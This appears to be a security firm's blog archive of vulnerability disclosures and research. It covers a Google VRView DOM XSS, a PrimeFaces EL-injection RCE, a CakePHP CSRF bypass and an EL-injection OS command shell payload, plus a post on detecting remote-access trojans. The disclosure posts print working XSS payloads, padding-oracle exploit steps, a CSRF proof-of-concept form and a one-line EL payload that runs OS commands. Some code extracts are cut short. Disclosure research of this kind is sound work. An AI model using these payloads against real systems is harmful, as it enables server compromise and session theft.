Monday, April 23, 2018

DOM Based Cross-Site Scripting in Google VRView library

While testing the VRView web application we discovered a DOM Based Cross-Site Scripting Vulnerability in the handling of errors through an inappropriate use of the "innerHTML" property. The use of this property must be combined with the encoding of the data before it is used for data assignment, and in this case it wasn't used safely.

Since the vulnerability also affects two of the most used Wordpress vrview plugins, an attacker could take control of the remote system that uses these plugins through a code analysis, or through automated tools.

Depending on the type of vulnerability and the role of the vulnerable component within the system, it can lead to trivial effects on the complete ownership of the server and the compromise of any data contained in it. The aspect to always keep in mind is that for the execution of the external components the principle of the minimum privilege is almost never applied.

About VRView

Vrview is a library developed by Google for embedding immersive media into traditional websites.

As described on the main website:

VR view allows you to embed 360 degree VR media into websites on desktop and mobile, and native apps on Android and iOS. This technology is designed to enable developers of traditional apps to enhance the apps with immersive content. For example, VR view makes it easy for a travel app to provide viewers with an underwater scuba diving tour as they plan a vacation or for a home builder to take prospective buyers on a virtual walk-through before the home is built.

The Vulnerability

The vulnerability lies in the management of library errors, in fact, if it is specified through URL parameters: url or image, a nonexistent resource, the library returns an error including in the error message the resource specified in the request without executing the output encoding .

As can be seen from the code below, the user input data passed through the GET request parameters is passed to the "innerHTML" property without performing the parameter encoding output. In this way, an attacker can specify an XSS payload instead of the requested resource, the library will interpret the resource as non-existent and respond with an error indicating the XSS payload entered by the attacker, thus generating an arbitrary code execution Javascript.

The following shows the vulnerable code in the VRView library:


/* [...] */
function onSceneError(message) {
    showError('Loader: ' + message);

function onRenderError(message) {
    showError('Render: ' + message);

/* [...] */

function showError(message, opt_title) {
   // Hide loading indicator.

   var error = document.querySelector('#error');
   error.querySelector('.message').innerHTML = message;

   var title = (opt_title !== undefined ? opt_title : 'Error');
   error.querySelector('.title').innerHTML = title;

/* [...] */

Proof of Concept

The links below shows the vulnerability in real world example, the vulnerability includes other sub/domains that have not been mentioned such as "".



Please note that the links above contains a patched version of the library.

Vulnerable Wordpress Plugins

Following are the two vulnerable Wordpress plugins found during the vulnerability analysis.

1) WP-VR-view -

WP-VR-view is a plugin that allows you to display Photo Sphere images and 360 video on wordpress pages, posts, etc.
Website visitors will be able to navigate through your panoramas.
Smartphone users can use Google cardboard to look through in Virtual reality way.

Proof of Concept:<img%20src=x%20onerror=alert(document.domain)>

2) VRView -

VRView makes it easy to embedd Googles VRView into your WordPress installation.
Embed 360° Videos and VR Videos as Well as panorama photos into your WordPress-Installation.

Proof of Concept:<img%20src=x%20onerror=alert(document.domain)>

Please refer to section A9 of the OWASP Top 10 to check if the application makes use of external components, libraries, frameworks and dependencies from modules that are affected by known vulnerabilities:

A9 - Using Components with Known Vulnerabilities

Disclosure Timeline

  • 19-01-2017 – Report to Google Security Team;
  • 20-01-2017 – Received a first feedback said that the report was triaged;
  • 20-01-2017 – Received a second feedback said that the vulnerability exists;
  • 14-02-2017 – Reply from Google Security Bot - The panel has decided to issue a reward of $3133,7;
  • 16-03-2018 – The vulnerability was fixed (;
  • 23-04-2018 – Public disclosure.


Google VRP panel has decided to reward with a high reward as the vulnerability is included not only in sandboxed domains but also
Vulnerability Found and Reported by Federico Fazzi.

Monday, November 27, 2017

JavaScript security and tools evolution talk at OWASP Taiwan Week 2017

In this presentation are explained the modern improvements in JavaScript and Client (Browser) security features. Still, the increase of complexity in XSS attacks and vulnerabilities is driving the adoption of cutting-edge analysis tools for vulnerability discovering and analysis. At the end of the presentation, there is a demonstration of how BlueClosure can accomplish that with dynamic JavaScript analysis and fuzzing capabilities.

Conference site:

Monday, June 26, 2017

OWASP Summit 2017: what's new?

Last week we attended the OWASP Summit 2017 in Woburn Forest Center Parcs near London.

The OWASP Summit 2017 was a 5-days participant driven event, dedicated to the collaboration of Development and Security professionals, with a strong focus on DevSecOps.

Here, hundreds of OWASPers and AppSec experts did fantastic interactive working sessions. The idea was to promote new ideas, start new projects with a selected team or restart OWASP projects with the aims to produce a new version.

It was more than good to meet new young students and professionals really interested to give a contribute to the project.


Every day we had working sessions for a total of 173 at the end of the summit.

The outcome consisted in several discussions between the participants, a list of actions and, in some cases, a new draft for a new project.

So what are the main outcomings that could be really interesting for people passionate on AppSec?
Let's group the most promising projects based on the roles in a company.

- OWASP CISO Guide: its goal is to help CISOs on managing application security programs according to CISO roles, responsibilities, perspectives, and needs. Application security best practices and OWASP resources are referenced throughout this guide. You can download the actual CISO Guide here.
GDPR and DPO AppSec implications: GDPR (General Data Protection Regulation) is a major EU Regulation which will affect every company that does business with the EU, which is just about every major company worldwide.This Working Session discussed some aspects of GDPR, including the role of the DPO (Data Protection Officer), the wider definition of PII data (like IP Addresses), and the need to report breaches and incidents within a short time period.

- Auditors, Testers:
- OWASP Mobile Testing Guide, one of the most active project during the Summit focused  on testing iOS and Android applications.
- OWASP Testing Guide v5, the standard de facto to perform a Web Application Penetration Testing. If you want to collaborate to this project that we are leading together with Andrew Muller please send us an email. 

- DevSecOps: 
- Define Agile Security Practices: the idea of using Agile in Security Practices/Activities makes a lot of sense but what does it mean? This Working Session started defining those practices in easy-to-use and scalable formats and documentation. 
- DevSecOps Track: we had many working sessions on DevSecOps.
- Pwning OWASP Juice Shop is a web application with 42+ intended security vulnerabilities, the OWASP Juice Shop is supposed to be the opposite of a best practice or template application for web developers: it is an awareness, training, demonstration and exercise tool for security risks in modern web applications.

OWASP is an open community that encourage new contributions. If you want to collaborate you can start from here.

See you next year!

Monday, February 15, 2016

RCE in Oracle NetBeans Opensource Plugins: PrimeFaces 5.x Expression Language Injection

PrimeFaces is a open source User Interface (UI) component library for JavaServer Faces (JSF) based applications, since its release, PrimeFaces has been strongly supported by Oracle, particularly within the NetBeans world.

Disclosure Timeline

PrimeFaces team has been contacted on 20/06/2015 (7 months ago) providing  the following details. Unfortunately the vulnerability has still not been fixed.

PrimeFaces team was asking us to send a github pull request to the public PrimeFaces github dev group; since public pull requests can be read by anyone, we thought that we could link this public content to inform both developers and final users.

PrimeOracle and PrimeSecret Vulnerability Detail

The following two issues have been successfully exploited against PrimeFaces 5.x and 5.3.x, including but not limited to PrimeFaces 5.3.6 version.

The following video shows the impact of these vulnerabilities against a vulnerable Oracle Netbeans 8.0.2 setup with PrimeFaces plugin:

Security issues are cryptographic vulnerabilities that let unauthenticated users to inject arbitrary Expression Language code to PrimeFaces custom EL parser. Both issues have the same sink: EL expression evaluation.

In this post we shared a generic payload to execute a remote interactive command shell via EL .

These two Crypto issues have been called "PrimeSecret" and "PrimeOracle".

Eventually by abusing one of these issues any user can execute arbitrary code on the application server without authentication.

1) PrimeSecret is the default hard-coded passphrase to encrypt several PrimeFaces parameters such as "pfdrid" (by Stefano Di Paola).

2) PrimeOracle is the abuse of a Padding Oracle attack against the internal crypto algorithm that decrypts several parameters such as "pfdrid" (by Giorgio Fedon).

The common vulnerable sink for both security issues is the PrimeFaces Streamed Content Handler that executes EL inline:


String dynamicContentId = (String)
String dynamicContentEL = strEn.decrypt(dynamicContentId);
ValueExpression ve =
dynamicContentEL, StreametreamedContent.class);
streamedContent = (StreamedContent) ve.getValue(eLContext);

In 2011 a user already reported to the dev team the dangerous impacts of EL injection: 
StreamlinedContent is not a new sink to PrimeFaces dev community as clearly stated in that old post. However at that time the issue was much easier to be exploited.

In short we bypassed a partial security fix available in the newer versions of Primefaces to abuse a known vulnerability.


Vulnerable Code that leads to PrimeSecret:

file: "/org/primefaces/config/"

// By default encryption Key is the hardcoded string "primefaces"

secretKey = (value == null) ? "primefaces" : value;


Vulnerable Code that leads to PrimeOracle:

file: "/org/primefaces/util/"

// 8-bytes Salt <- Static IV
byte[] salt = {
(byte) 0xA9, (byte) 0x9B, (byte) 0xC8, (byte) 0x32,
(byte) 0x56, (byte) 0x34, (byte) 0xE3, (byte) 0x03

// Padding Oracle vulnerability since the DES cipher is CBC based
// and process encrypted text without verification (e.g. // HMAC)

KeySpec keySpec = new PBEKeySpec(passPhrase.toCharArray(),
salt, iterationCount);
SecretKey key =

Exploitation is easy with PadBuster

In the following example we are going to show the exploitation of  PrimeOracle issue. PrimeOracle exploit can be seen as a generic way to exploit both issues. With PrimeOracle is possible to obtain a resulting exploit parameter string that can be reused against all targets with the same password.

That resulting string obtained from a host vulnerable to Primesecret, will work against all the target with the default secretKey configuration parameter.

First of all for this exploit to work you need a tool to exploit Padding Oracle Vulnerabilities like the beautiful PadBuster tool from GDS Security. Then you can choose any EL payload to be encrypt using the tool.

In this case the payload we have chosen is:

// Set a response Header with a value of "primesecretchk" Request Parameter

Note: Any EL can be executed: payloads can range from reading user session parameters, to arbitrary code execution that can lead to OS compromise.

Then just launch Padbuster with the following command:

"C24UkygWm3HMmnSxmDwoxw%3D%3D" 8 -encoding 0 -plaintext

| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
|                      |

INFO: The original request returned the following
[+] Status: 500
[+] Location: N/A
[+] Content Length: 65766

INFO: Starting PadBuster Encrypt Mode
[+] Number of Blocks: 14

INFO: No error string was provided...starting response analysis

*** Response Analysis Complete ***

The following response signatures were returned:

ID#    Freq    Status    Length    Location
1    1    500    65715    N/A
2 **    255    200    0    N/A

Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended :2

** Finished ***

[+] Encrypted value is:


To check if the application is vulnerable:

chk="123445456"; curl -X POST
-ki -kvvv -d "pfdrt=sc&ln=primefaces&pfdrid=$enc&primesecretchk=$chk"| grep $chk

primesecretchk: 123445456

//Note: the previous request will work against all systems vulnerable to PrimeSecret! Since // has been generated on a host with "primefaces" secretKey

The application is vulnerable because of the new added response header: "primesecretchk: 123445456"


Since an official patch is still not available end users and companies can protect their application by disabling

Alternatively by filtering incoming requests with pfdrid parameter (value longer than 16bytes and Base64 encoded) and "pfdrt=sc" is possible to mitigate the attack: "pfdrt=sc" calls the vulnerable StreamedContent Method and pfdrid contains the exploit payload.

Isn't enough to change the default "secretKey"?

Unfortunately not: changing the default secretKey is not enough because of the padding oracle vulnerability issue that in this post has been named PrimeOracle.

Friday, February 5, 2016

RAT WARS 2.0: Advanced Techniques for Detecting RAT Screen Control

In the landscape of web maliciousness Remote Administration Trojans [1] are not a new trend but their usage is still strong and growing steady.

At its core a RAT is a backdoor facility used to let an attacker enter unnoticed into the victim computer to control it remotely: for example most banking trojan nowadays are using remote desktop modules to open a VNC/RDP channel to allow an attacker to exfiltrate the money from within the users browser inside its legit session.

Newer sophisticated malware like Dyre are stepped up the game by completely diverting the user on fake banking portals while keeping the login session alive in the background, and once the user has disclosed the required credentials, the attacker connect to the user machine via a remote desktop channel and perform the wire fraud unnoticed.

RAT Screen Control

The usual attack is comprised by two phases.

The first step is when a Dyre infected user enter the banking website location inside the browser and the request is proxied by the malware to a fake website that is identical to the bank website just after the real login. In the background Dyre keep the real banking session open.
The second phase happens as soon as the attacker receives an automated Jabber notification with user session data and a VNC callback to a protected terminal server. He then starts interacting with the user by sending challenging questions, fake pages and fake login field to the fake browsing session to the user. The user start answering the attackers forms providing needed information while the attacker starts a screen control session towards the user PC to use the real user session to perform the wire fraud.

This is why this kind of attack it is so hard to detect: for the most part the attack killchain [2] is happening out of reach from the bank's anti fraud capabilities. The only exception is the final exfiltration phase when the only thing left is the chance to detect the attacker session, but even then the attacker is coming from within the legit user session making things harder.
These inner weaknesses of classic agentless fraud detection techniques are the reason behind the increase of popularity and sophistication of this kind of attacks.
Since what agentless fraud detections can do is to detect infected users or detect the attacker session by diverting users to web fakes and masquerading the attacker session there is a high chance to nullify the whole detection.

Then how can a bank portal understand what’s going on if what they see is a session initiated from the usual user’s ip address, from the usual user’s browser fingerprint, without any kind of webinject/AST or other common indicators of compromise?

Advanced RAT detection techniques.

To respond to this new kind of fraud Minded Security has started to research viable detection techniques and implemented a new solution based on Telemetry Modeling.

This is a short description of the viable detection techniques: Desktop Properties Detection, Detection of Velocity Pings or Session Keepalives, Telemetry Modeling of User Biometrics, Telemetry Modeling of Protocols and IOC Detection.

Desktop Properties Detection

This is the most basic detection whose point is to detect anomalies in the properties of the browser/desktop used: for example older RDP protocols might alter the color depth, or hidden VNC session may have unusual desktop resolutions.

Those indicators can be tracked and then correlated to build a detection.

Detection of Velocity Pings or Session Keepalives

While waiting for the user to disclose his PIN/OTP the attacker must keep the user session alive if he want to use it later to perform a wire transfer. This is what “velocity pings” are for: periodic faster HTTP requests whose goal is to keep the session alive.

The requests cadence, their content can be used to build an indicator of compromise and trigger a detection.

Telemetry Modeling of User Biometrics

The point of this approach is to track the user telemetry (keyboard usage, mouse movements, input gestures) to build a model of the user. Once the model is built it is used as yardstick in an anomaly detection context: the output provided give an insight if the current session is being used by the usual users.

Unfortunately while this information is indeed useful, the weaknesses are manifold.
First the infrastructure needed is far from lightweight: it needs to store big data for the user models and has to run complex machine learning algorithms nearly real time to perform the anomaly detection. This means a complex and expensive infrastructure.
Secondly the detection is fooled in the corner case of a single machine shared by different people, think of a corporate environment [3].

Telemetry Modeling of Protocols

This detection is one of the most advanced and relies on tracking glitches and anomalies in how the user’s telemetry is transmitted by the desktop remote protocol.

For example if there is a remote desktop in place, the telemetry data is compressed and passed trough by the remote desktop protocol itself or if the user is browsing the bank page trough a virtual machine, the input is filtered by the VM layer. All these added software layers operates to synchronize between the input received and the input reproduced adding glitches that could be tracked as anomalies.

This let to have a very light engine that is able to lively catch latency generated by user interface flowing through filter-driver chains. Typically VM guest environments and remote control tools install additional layered interfaces to replicate cursor positions and this creates latency patterns we can detect.

Once these anomalies are collected they are used to understand in real time if there is a remote connection in place. We provide this detection approach in our anti fraud suite AMT - RATDET Module.

IOC Detection

A malware infection can alter the profile of the user’s machine/browser and these alterations could be tracked and used as indicators of compromise to flag the user as a potential victim of fraud.

Or it could be possible to check the existence of certain files on the user file system, like suspicious executables, hidden vnc servers and others that can be used as an evidence of infection.

As an example here is a brief proof of concept that is also used by common exploit kits:

These indicators vary from malware to malware but are indeed very useful to prevent a fraud in the early stage of the killchain, as soon the user is infected and before the exfiltration is put in place.

In conclusion In this rat-race against financial malware there is not a de facto detection to be used: malware are constantly evolving and so should our defense techniques

In our opinion the recipe to a successful anti fraud monitoring lies into having a flexible and modular approach: mixing different detection techniques to build an unified risk model of the users.
[3]: A provider for this kind of solution is BioCatch.

Tuesday, January 12, 2016

Request parameter "_method" may lead to CakePHP CSRF Token Bypass

In CakePHP we noticed that under certain circumstances is it possible to bypass the built-in security checks offered by CSRF and anti-tampering.

As stated in the official documentation "By using the Security Component you automatically get CSRF and form tampering protection" [1], however this is not true in case a form controller does not check whether the request is a 'POST' or 'PUT' using $this->request->is().

This because CSRF protection is only applied to specific methods e.g POST and PUT HTTP Methods. In Addition by leveraging the HTTP method overriding feature defined into the CakeRequest::_processPost() method, is possible to overwrite the original request method with an arbitrary method chosen by the attacker.

The following one is the original proof of concept that we sent to the CakePHP team, were by abusing the "_method" parameter is possible to specify and arbitrary method e.g. "CSRF" that is not checked against CSRF.

CSRF Bypass proof of Concept

The vulnerability can be exploited by tricking a victim user (currently logged into a vulnerable application) into visiting a web page like this:

<form action="http://[HOST]/user/add" method="POST">
<input name="_method" type="hidden" value="CSRF" />
<input name="user" type="hidden" value="hacker" />
<input name="password" type="hidden" value="pwd" />

This affects CakePHP 2.x:
And similarly affects also CakePHP 3.x:

Thanks to our feedback, developers of CakePHP have issued this patch:

It's important to mention that this patch implemented by CakePHP team now allows only GET, HEAD, OPTIONS methods to be left unprotected: indeed this is a partial fix. Of course the previous proof of concept will no longer work , however with little modifications e.g. <input name="_method" type="hidden" value="HEAD" /> attackers will still have the job done.

Developers  should check HTTP method carefully


The official documentation has also been updated

Now we see in here the written evidence that developers should properly check request HTTP methods before processing the request. To not be vulnerable to trivial CSRF attacks be sure that your CakePHP application always checks HTTP methods, as now correctly stated in the updated documentation [2]

The important note regarding the mandatory check is:

 "You should always verify the HTTP method being used before executing side-effects. You should check the HTTP method or use Cake\Network\Request::allowMethod() to ensure the correct HTTP method is used."



Vulnerability Found and Reported by Egidio Romano

Monday, November 23, 2015

Reliable OS Shell with - EL [ Expression Language ] - Injection

Abusing EL for executing OS Commands

Expression Language injection

Wow! It may lead to remote command execution on modern Servlet environments. This was  pointed out by Dan Amodio in 2012 with his art work exploit against Spring Double-Evaluation vulnerability (CVE-2011-2730). Herein he ported the exploitation technique presented in this Vulnerability Research Paper by Minded Security and Aspect Security in 2011 to newer Servlet versions reaching RCE (Remote Code Execution, which implies Remote Command Execution as well).

In this blog post we discuss a different payload code to exploit an Expression Language Injection security issue  in a reliable way. This is somehow the case during penetration tests of sensitive targets where it's important to not alter the local application by downloading external content or modifying the local file-system.

EL Injection example in a JSF Facelets Environment

index.xhtml gets “expression” parameter from the request and sends it to evalAsString():

        Hello from Facelets 
        <br /> 
        <h:outputText value="${beanEL.ELAsString(request.getParameter('expression'))}" /> implements ELAsString() that an EL implementation that evaluates arguments dynamically:

import javax.el.ELContext;
import javax.el.ExpressionFactory;
import javax.el.ValueExpression;
import javax.faces.bean.ManagedBean;
import javax.faces.bean.SessionScoped;
import javax.faces.context.FacesContext;


public class NewClass implements Serializable {
    public static String ELAsString(String p_expression)
    FacesContext context = FacesContext.getCurrentInstance();
    ExpressionFactory expressionFactory = context.getApplication().getExpressionFactory();
    ELContext elContext = context.getELContext();
    ValueExpression vex = expressionFactory.createValueExpression(elContext, p_expression, String.class);
    String result = (String) vex.getValue(elContext);
    return result;

Why a One-Liner OS command shell payload?

The rules of this OS command shell game:

- Not rely on loading classes that are on external servers (e.g. Avoid Egress filtering, External class loading etc.)
- Work on a broad number of EL versions and servers (e.g. not only on Tomcat 8+)
- Executing an OS command
- Interactive output from EL injection: Os command output should be Redirected to the current HTTP response in-band
- Not write any file and or modify any other persistent resource
- Achieve all the previous with One single line of concatenated EL

Final payload

proc = new
var is = proc.getInputStream(); var sc = new
java.util.Scanner(is,\"UTF-8\"); var out = \"\"; while
(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}

Payload Explained

Feel free to change it and modify it to fit your current target.

1) Setting the charset:


2) Invoking ScriptManager constructor without arguments and we store the  instance as a session object:


3) Redirect ScriptEngine output writer output to the Http Response writer input:


4) Call the eval() method for the engine "JavaScript" that accepts JS code as string (sometimes Jetty 8.2 gives a “”) with the JS code that executes the runtime command:


5) Getting proc standard Output and reading it via java.util.Scanner and printing it out

var is = proc.getInputStream(); var sc = new
java.util.Scanner(is,\"UTF-8\"); var out = \"\"; while
(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}

5) Closing the http response

Is a Servlet Modern enough for a reliable RCE?

JSP/EL should be at least at version 2.2. EL version goes hand in hand with Servlet/JSP version which is dependent on the servletcontainer implementation/version used and also on the web.xml root declaration of your web application.

  • Servlet 3.0 comes with JSP/EL 2.2 and we usually find those in Tomcat 7, Jetty 8.2, Jetty 9
  • Servlet 2.5 comes with JSP/EL 2.1.
  • Servlet 2.4 comes with JSP/EL 2.0.
  • Servlet 2.3 comes with JSP 1.2 without EL.
Note: Newer servers like Tomcat 8 and 9 have even newer servlet versions and better capabilities, but our target was running Jetty 9.1.

In 2012 Dan Amodio from Aspect Security  ( discovered that  “While performing a penetration test on a client’s application on Glassfish, I learned that the EL 2.2 added support for method invocation. Try and load the org.springframework.expression.spel.standard.SpelExpressionParser... We failed many times!”. Unfortunately EL 2.2 method invocation is sneaky and has several bugs in its implementation that do not make it behave properly.

The following one is the invokeMethod() implementation in Servlet 2.2 and is possible to see that it may not work if more than one argument is passed. This  is a boring limitation since we can only invoke or call a limited number of methods:

private Object invokeMethod(Method m, Object base, Object[] params)
/*     */   {
/* 764 */     Class[] parameterTypes = m.getParameterTypes();
/* 765 */     Object[] parameters = null;
/* 766 */     if (parameterTypes.length > 0) {
/* 767 */       ExpressionFactory exprFactory = getExpressionFactory();
/* 768 */       if (!m.isVarArgs())
/*     */       {
/*     */
/* 771 */         parameters = new Object[parameterTypes.length];
/* 772 */         for (int i = 0; i < parameterTypes.length; i++) {
/* 773 */           parameters[i] = exprFactory.coerceToType(params[i], parameterTypes[i]);
/*     */         }
/*     */       }
/*     */     }
/*     */     try
/*     */     {
/* 779 */       return m.invoke(base, parameters);

If you are exploiting a web server different from Glassfish there is also an additional option: the Java JavaScript Engine.  JavaScript Engine is blocked in Glassfish EL implementation but not in other servers such as Apache Tomcat 7 or Jetty.

JS Rhino Script Engine is supported in Java 6 and 7,  Mozilla Nashorn Script Engine is available from Java 8.  For more information:


Since “ScriptEngineManager” has an empty class constructor this can be abused by the method invocation technique from EL 2.2 pointed out earlier.

Exploit Payload request:

n0def@n0def:/# curl

Exploit Payload Response: